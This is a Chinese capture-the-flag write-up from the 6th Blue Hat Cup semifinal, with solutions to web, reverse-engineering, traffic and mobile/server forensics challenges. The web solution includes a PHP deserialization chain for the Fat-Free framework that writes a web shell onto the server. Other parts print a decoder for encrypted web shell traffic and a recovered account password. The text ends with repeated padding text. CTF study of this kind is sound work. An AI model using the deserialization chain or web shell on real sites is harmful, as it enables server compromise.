第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp

Web

easyfatfree

php框架反序列化,简单题,直接全局搜索__destruct 只有一个可用

Jig#__destruct 调用到Base#wirte ,然后直接写入文件。刚开始做的时候想得麻烦了……

function __destruct() {
   if ($this->lazy) {
      $this->lazy = FALSE;
      foreach ($this->data?:[] as $file => $data)
         $this->write($file,$data);
   }
}

function write($file,array $data=NULL) {
      if (!$this->dir || $this->lazy)
         return count($this->data[$file]=$data);
      $fw=\\Base::instance();
        switch ($this->format) {
         case self::FORMAT_JSON:
            $out=json_encode($data,JSON_PRETTY_PRINT);
            break;
         case self::FORMAT_Serialized:
            $out=$fw->serialize($data);
            break;
      }
//        var_dump($this->dir.$file);
      return $fw->write($this->dir.$file,$out);
   }

// Base#wirte 
function write($file,$data,$append=FALSE) {
		return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

蚁剑直接在根目录下找到flag


namespace DB {

    use DB\\Jig as DBJig;
    use Base;

    class Jig {
        protected
        $dir,
      //! Current storage format
      $format,
      //! Jig log
      $log,
      //! Memory-held data
      $data,
      //! lazy load/save files
      $lazy;
        public function __construct()
        {
            $this->dir = 'ui/';
            $this->format = 0;
            $this->data = array('index.php'=>['cmd\\']);']);
            $this->lazy = true;
        }
    }

    $a = [newDBJig(), new \\Base()];
    echo urlencode(serialize($a));
}

namespace {
    abstract class Prefab {

    }

    final class Base extends Prefab {
        private $hive;
        public function __construct()
        {
            $this->hive = array('LOCK'=>8, 'SERIALIZER'=>'');
        }
    }
}

flag:

flag{5cc7c26b-0994-4f76-aedd-36f91b940aca}

Reverse

babynim

image-20220804180545657

根据提示输入flag{十进制整数}

ida打开搜索字符串找到两个大整数,long_to_bytes()转成字节得到一个uuid的flag,提交后发现不对。

然后根据那两个整数定位到函数反编译

大致分析一下:

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第1张图片

先是输出plz input your flag(format: flag{decimal number})

然后等待输入给v2

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第2张图片

然后判断长度是否为42,头和尾是否为flag{}

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第3张图片

输入的数赋值给x__hello_40,小一点的数复制给a__hello_41,后面再分别给v23, v22

进入star___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_1219()函数,看到关键字multiplication(乘法),可以猜测那个函数就是把v23和v22相乘赋值给v24

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第4张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第5张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第6张图片

最后两个相乘的数和那个大数相比较,这样就得到了基本逻辑。

所以只需要计算大数除以小数就可以了

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第7张图片

flag:flag{923973256239481267349126498121231231}

Misc

神秘的日志

直接双击打开看,先查看system

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第8张图片

查看到这条,再到security中找到该时间点,然后可以尝试几个(一次就对

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第9张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第10张图片

md5之后上交

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第11张图片

加密的通道

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第12张图片

先追踪到流14,然后解码下面一部分

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OyGeP6l9-1659965763048)(https://s2.loli.net/2022/08/04/FoICaSnJ8ct5YeH.png)]

发现是一个php代码,但是进行了加密,搜一下上面提到的https://Www.PHPJiaMi.Com,是一个加密网站,然后google搜索解码

https://blog.csdn.net/ababab12345/article/details/90169678

但是发现github上的解码脚本没了,换一个被,正好发现,Y4大佬推了这个解码工具

https://github.com/Y4tacker/CTFBackup/commit/815e4df83ca6ff0de0a2138d203131246df4706f

然后下下来,解码

得到脚本,再稍微改一下


$cmd = ''
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
}
echo $cmd;

最后是在流34中,发现有flag

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第13张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第14张图片

一个很完美的Zmxh flag头

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第15张图片

flag{844dfc86da23a4d5283907efaf9791ad}

Forensic(没有特殊说明使用的都是官方给的工具)

手机取证_1

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第16张图片

iBoot-7429.62.1

手机取证_2

加8小时

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第17张图片

2022-01-11 18:47:38

exe分析_1

查看微信聊天记录得到压缩包

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第18张图片

ida分析,f12直接看

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第19张图片

C:\Program Files\Common Files\Services\WmiApSvr.exe

exe分析_2

ida打开,直接搜索advapi32.dll

然后跟进,发现sub__433630()函数有用到advap.32.dll

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第20张图片

exe分析_3

ida打开,直接搜索.exe

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第21张图片

svchost.exe

exe分析_4

都说了,挖矿,那就挖矿呗

挖矿

exe分析_5

在这个的下面有一串很明显的ASCII,提取出来

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第22张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第23张图片

解码,得到网站,然后溯源,得到ip,再通过ip查询地址

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第24张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第25张图片

APK分析_01

用jadx-gui打开base.apk,这边后来在做其他的题目的时候发现一个问题,明明是同一个附件,但是他的序列号却不一样,我不是很能理解,这边也是因为运气好,然后得到了正确的序列号,然后这边左边的代码还跟队友的不一样,队友都是abcd啥的,我是p061a这种,也不是很理解,导致后面有一个题目我做了半天出不来,按理来说就是那个函数,但是就是不对

base.apk是在对安卓的附件进行分析

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第26张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第27张图片

0x936eacbe07f201df

APK分析_02

在查看MainActivity解码base64得到

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第28张图片

ansjk.ecxeio.xyz

APK分析_05

同6
有

APK分析_06

在受害人安卓手机中找到EXEC.apk并导出,打开java代码

主函数中导入了包,进去后发现了检测判断

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第29张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第30张图片受害人手机中exec的检测方法的完整路径和方法名是:d.a.a.c.a.a()

APK分析_08

在受害人安卓手机中找到红星.ipa并导出

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第31张图片

Info.plist文件下找到包名

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第32张图片

受害人手机中红星IPA的包名是:com.dd666.hongxin

APK分析_09

直接打开在Info.plist文件下找到APIKey

受害人手机中红星IPA的APIKEY是:d395159c291c627c9d4ff9139bf8f0a700b98732

APK分析_11

用jadx-gui打开,搜索关键词www.得到

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第33张图片

www.nansjy.com.cn:8161

APK分析_12

基础的查看apk程序入口的知识

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第34张图片

com.example.weisitas526sad.activity.SplashActivity

APK分析_13

先从聊天记录里下载,然后直接在模拟器里安装,进去之后点击网络设置就可以看到端口

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第35张图片

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第36张图片

6661

APK分析_15

fidder打开手机流量包,找到login关键字的url

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第37张图片

选中在右边可以看到inspectors中可以看到uesrname,password等信息第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第38张图片

把password在线md5解一下就有了

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第39张图片

结合手机流量分析聊天工具的登录账号和密码是:17317289056/b12345678b

服务器取证_05

根据宝塔面板进行分析,得到,算了编不下去了,这题跟前面那个exec的界面一样,都是一直在猜,界面猜了567,但是不对,这个题直接猜了6,就对了,一猜就对,不得不说,这次比赛的运气是真的好!反过来想想为什么是6,我也不明白,等wp

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cAaK20oe-1659965763056)(C:/Users/Anoxia/AppData/Roaming/Typora/typora-user-images/image-20220804190028148.png)]

服务器取证_07

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第40张图片

找到数据库名和密码,通过计算机仿真取证系统登录数据库

查询loginlogs表的数据,第一个ip就是最早访问涉案网站后台的IP地址

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp_第41张图片

写出最早访问涉案网站后台的IP地址:183.160.76.194

凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数

你可能感兴趣的:(CTF,web安全,安全)